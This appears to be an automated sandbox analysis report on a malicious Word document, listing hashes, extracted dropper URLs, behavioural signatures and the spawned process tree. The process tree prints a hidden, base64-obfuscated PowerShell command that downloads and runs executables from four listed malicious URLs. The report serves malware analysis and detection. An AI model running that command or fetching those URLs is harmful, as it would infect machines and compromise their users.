Analysis
-
max time kernel
100s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
05-06-2024 14:34
General
-
Target
98693400936db61077908732f3bcc270_JaffaCakes118.doc
-
Size
100KB
-
MD5
98693400936db61077908732f3bcc270
-
SHA1
f76d912e00c28d19fb8951763639e016d8098f47
-
SHA256
406a7b366b4e11acbba9480e4847ac5487f2ab8b597a0d7653d5c7cb37f30e0b
-
SHA512
26bd56f2f008ef24b4271abee65a2ee0386cc4f031f60ea37079d08c304c27ddb83a62d17e17dbf8ab888159c5ff46a9ba2f4b964c6fc007e90c045b8034c7b2
-
SSDEEP
1536:1dCDGDK9ruMSORc/R9Yn+agEbI/ui0Hvoc1p42K+cXlyn:bDYvSOq/Tpui0HvhPYXQ
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://maisbrasilphoto.com.br/yWEiMr/
exe.dropper
http://dievoigts.com/u0rQ/
exe.dropper
http://gh-zone.net/SUnkf38/
exe.dropper
http://marek.in/saS96A/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\98693400936db61077908732f3bcc270_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL -WinDowsTyle hidden -e IAAmACgAIAAkAFMASABFAGwAbABpAGQAWwAxAF0AKwAkAHMAaABlAGwATABJAGQAWwAxADMAXQArACcAeAAnACkAKAAoACgAIgB7ADEANAAwAH0AewA4ADAAfQB7ADEAMwAzAH0AewA0ADQAfQB7ADEAMgA4AH0AewA0ADUAfQB7ADgAMQB9AHsANwA0AH0AewAxADIANQB9AHsAMwA4AH0AewAxADEAfQB7ADAAfQB7ADYAMwB9AHsAMQA4AH0AewAxADkAfQB7ADEAMwAwAH0AewAxADMANAB9AHsAMQAwADkAfQB7ADEAMQA2AH0AewA0ADEAfQB7ADYAMQB9AHsAMQA1AH0AewA1ADkAfQB7ADkAfQB7ADEAMQAwAH0AewAyADEAfQB7ADEAMQA4AH0AewA1ADIAfQB7ADUAOAB9AHsAMQA3AH0AewA3ADYAfQB7ADQAfQB7ADcANwB9AHsAMQA0AH0AewA0ADYAfQB7ADIANwB9AHsAMQAxADkAfQB7ADcAOAB9AHsAMQAzADYAfQB7ADEAMgAxAH0AewA1ADYAfQB7ADYAOAB9AHsAOQA0AH0AewA3AH0AewAxADEAMgB9AHsAMQAyAH0AewAzADIAfQB7ADMANQB9AHsAMQAxADQAfQB7ADEAfQB7ADQAOQB9AHsAMQAwADgAfQB7ADQANwB9AHsANAAyAH0AewAxADAAMwB9AHsANgAyAH0AewAzADcAfQB7ADEAMgA2AH0AewAxADAANwB9AHsAMQA0ADMAfQB7ADEAMAAyAH0AewA4ADgAfQB7ADUAMAB9AHsAMwAwAH0AewAzADEAfQB7ADUAfQB7ADIANAB9AHsAOQAxAH0AewAxADMAOAB9AHsAMQA2AH0AewA3ADkAfQB7ADYANgB9AHsAMQAyADkAfQB7ADcAMwB9AHsANwA1AH0AewA3ADAAfQB7ADEAMAAxAH0AewAyADIAfQB7ADEAMAA2AH0AewAxADEAMwB9AHsAMQAzAH0AewA1ADcAfQB7ADQAOAB9AHsAMQAzADkAfQB7ADQAMAB9AHsAMQAzADEAfQB7ADIAMwB9AHsAMQA0ADEAfQB7ADEAMQA3AH0AewA5ADAAfQB7ADgAMwB9AHsAMQA0ADIAfQB7ADYAOQB9AHsAMQAwAH0AewAyADgAfQB7ADEAMwA1AH0AewA5ADcAfQB7ADQAMwB9AHsAMwA5AH0AewAxADIAMwB9AHsAMQAyADcAfQB7ADMANAB9AHsANQAzAH0AewA4ADYAfQB7ADMAfQB7ADkANQB9AHsAMQAzADcAfQB7ADYANQB9AHsAOQA5AH0AewA4AH0AewAyAH0AewAzADYAfQB7ADUAMQB9AHsAOAAyAH0AewA2AH0AewA4ADQAfQB7ADMAMwB9AHsAMgA5AH0AewA1ADUAfQB7ADEAMQAxAH0AewA5ADYAfQB7ADEAMAA1AH0AewA4ADkAfQB7ADgANwB9AHsANgAwAH0AewAxADAAMAB9AHsAMQAyADIAfQB7ADEAMAA0AH0AewAxADIAMAB9AHsAOAA1AH0AewAyADUAfQB7ADcAMgB9AHsAMQAxADUAfQB7ADYANwB9AHsAMQAyADQAfQB7ADkAMwB9AHsAOQA4AH0AewAyADAAfQB7ADcAMQB9AHsAMQAzADIAfQB7ADkAMgB9AHsANQA0AH0AewA2ADQAfQB7ADIANgB9ACIAIAAtAGYAJwBjAHQAZQBqAGMAJwAsACcAYgAnACwAJwBvAFYAJwAsACcAagBjACkAOwBmACcALAAnAGEAZABhAHMAZAAuAG4AJwAsACcALwAnACwAJwBpAFoATwBhAGQARgAnACwAJwB0ACcALAAnAC4AdQBGAEQARAAnACwAJwBjACkAIABTAHkAcwB0AGUAbQAuACcALAAnAG8ASABlAGoAYwAgACsAIABYACcALAAnAGUAagBjACsAZQBqACcALAAnAC4AYwBvAG0AJwAsACcAUwA5ADYAQQAvAGUAagBjAC4AUwAnACwAJwAgADIAJwAsACcAZQBqAGMALQBvAGIAagBlACcALAAnAGgALQB6ACcALAAnACAAPQAgACcALAAnADsAWABPAGEAWQBZAFUAIAA9ACcALAAnACAALgAnACwAJwBlAGoAYwApACgAWABPAGEAUwBEACcALAAnAEMAbAAnACwAJwAuAGkAbgAnACwAJwBqAGMAKQA7AFgATwBhAFMARAAnACwAJwBAAGgAdAB0AHAAJwAsACcAbwBlAGoAJwAsACcAYwBoAHsAfQB9ACcALAAnAFgATwAnACwAJwBPACcALAAnAFgATwAnACwAJwBjAG8AbQAvAHUAMAByACcALAAnAFEAJwAsACcALwBxAGQATQAyAC8AJwAsACcAKAAnACwAJwB4ACcALAAnAEAAaAAnACwAJwBpACcALAAnAGgAdAAnACwAJwBjACcALAAnAGoAJwAsACcAYwBAACcALAAnAGoAYwB3AGUAagAnACwAJwBtAC4AYgByACcALAAnACAAKwAgACgAZQAnACwAJwAgACYAKABlAGoAYwBuAGUAJwAsACcAKwAnACwAJwA4ADIAMQAzADMAKQA7ACcALAAnAHAAaABvAHQAbwAuAGMAbwAnACwAJwBpAHQAKABlACcALAAnAHIAYQAnACwAJwAuACcALAAnAFoAVwBuACcALAAnAGUAbgB0ADsAJwAsACcAZQBqAGMAJwAsACcAOwB9AGMAYQAnACwAJwBhAGEAcwBmAGMAJwAsACcAcABzACcALAAnAHAAbAAnACwAJwBYAE8AYQBOAFMAQgAnACwAJwBjAHQAZQBqACcALAAnACwAIABYACcALAAnAGMAKwAnACwAJwBFAGkATQByAC8AQAAnACwAJwApACAAcgBhAG4AZABvAG0AJwAsACcAdAAnACwAJwBmAGMAIABpAG4AIABYAE8AJwAsACcAbgBlACcALAAnAGsAZQBqACcALAAnADoAJwAsACcAZQBqAGMAMQAnACwAJwB0AHQAcAA6AC8ALwAnACwAJwBDACkAOwBiACcALAAnAGMAKwBlAGoAJwAsACcAVQBuAGsAZgAzADgALwBAACcALAAnAGoAYwBlAGUAagBjACsAZQBqAGMAdwAtAG8AYgBqACcALAAnAGgAJwAsACcAWABPAGEAbgBzACcALAAnAGUAeAB0ACgAMQAwADAAMAAwACwAJwAsACcAWAAnACwAJwBvACcALAAnAG4AcwAnACwAJwBlACcALAAnAGwAVgAnACwAJwB1AGIAbAAnACwAJwBJAFYAaQBaAGwAZQB1AEYARAAnACwAJwB2ACcALAAnACsAZQBqAGMAZQBlACcALAAnAEQAKAApACcALAAnAGQAaQBlAHYAbwBpAGcAdABzACcALAAnAGcAdQBGACcALAAnAHAAJwAsACcAOgAvACcALAAnAGEAawAnACwAJwBjAGUALQBJAHQAZQAnACwAJwAvAC8AZgBvACcALAAnAG8AcgBlAGEAYwBoACgAJwAsACcAbwBTAHQAcgBWAGkAWgAnACwAJwBOAFMAQgAnACwAJwBtACcALAAnAGEAQQBEAEMAWAApAHsAdAByAHkAewBYAE8AYQBZAFkAVQAnACwAJwBPAGEAUwBEAEMAKQAnACwAJwBtAGEAcgBlAGsAJwAsACcALwAnACwAJwAvAHkAVwAnACwAJwAmACgAJwAsACcAaQBWAGkAWgBOACcALAAnAC8AcwAnACwAJwBwACcALAAnAHMAaQBsACcALAAnAGUAagBjACsAJwAsACcATgBlAHQALgBXAGUAYgAnACwAJwAuAHUARgBEAFQAJwAsACcAbwBmAG8AbABsAHkAJwAsACcAYQAnACwAJwB0AHQAcAA6AC8ALwBtAGEAaQBzACcALAAnAGMAJwAsACcAZQAnACwAJwBhAGUAbgB2ADoAJwAsACcAaQAnACwAJwBhAEEARABDACcALAAnAGUAagBjAEkAbgAnACwAJwBjAA0ACgBoAHQAdAAnACwAJwA7ACcALAAnAGMAJwAsACcAYwArAGUAagAnACwAJwBlACcALAAnAHQAJwAsACcALgBlACcALAAnAGoAYwAnACwAJwAuAG4AZQB0AC8AUwAnACwAJwAoAGUAagAnACwAJwBlACcALAAnAHIAZQAnACwAJwBhAGQAYQBzAGQAIAA9ACcALAAnAGMAbgBlACcALAAnAGEAJwAsACcAIAA9ACAAZQBqACcALAAnAFgATwBhAGEAcwAnACwAJwAvAGcAJwAsACcAagAnACwAJwBYAE8AYQAnACwAJwBDACAAPQAgAFgATwAnACwAJwBpAGMAIAArACAAJwAsACcAOgAvACcAKQApAC4AcgBFAHAAbABBAEMAZQAoACgAWwBDAEgAYQBSAF0AMQAxADcAKwBbAEMASABhAFIAXQA3ADAAKwBbAEMASABhAFIAXQA2ADgAKQAsAFsAUwBUAHIAaQBuAEcAXQBbAEMASABhAFIAXQAzADQAKQAuAHIARQBwAGwAQQBDAGUAKAAnAFgATwBhACcALABbAFMAVAByAGkAbgBHAF0AWwBDAEgAYQBSAF0AMwA2ACkALgByAEUAcABsAEEAQwBlACgAKABbAEMASABhAFIAXQAxADAAMQArAFsAQwBIAGEAUgBdADEAMAA2ACsAWwBDAEgAYQBSAF0AOQA5ACkALABbAFMAVAByAGkAbgBHAF0AWwBDAEgAYQBSAF0AMwA5ACkALgByAEUAcABsAEEAQwBlACgAKABbAEMASABhAFIAXQA0ADkAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcAMgApACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBIAGEAUgBdADkAMgApAC4AcgBFAHAAbABBAEMAZQAoACgAWwBDAEgAYQBSAF0AOAA2ACsAWwBDAEgAYQBSAF0AMQAwADUAKwBbAEMASABhAFIAXQA5ADAAKQAsAFsAUwBUAHIAaQBuAEcAXQBbAEMASABhAFIAXQA5ADYAKQAgACkAIAA=2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5ca45329f00252d30fbfa78fc960ae88e
SHA159d578b157788b36fe5aa521ba5ffbcb19db551e
SHA2566b0528d8567a9ea0b6359c137e95fcb97379c69e4a9547dc1dca29a8f0ecafd5
SHA5121cb1f20721f8cc0eefec83ae50aa1833dd4a0f45d8119170c149e1b9125f033a55dcaebc42f8994d940b3fa3ffc22c94849054b3836c7bb2f7ea328c85fc7e74
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB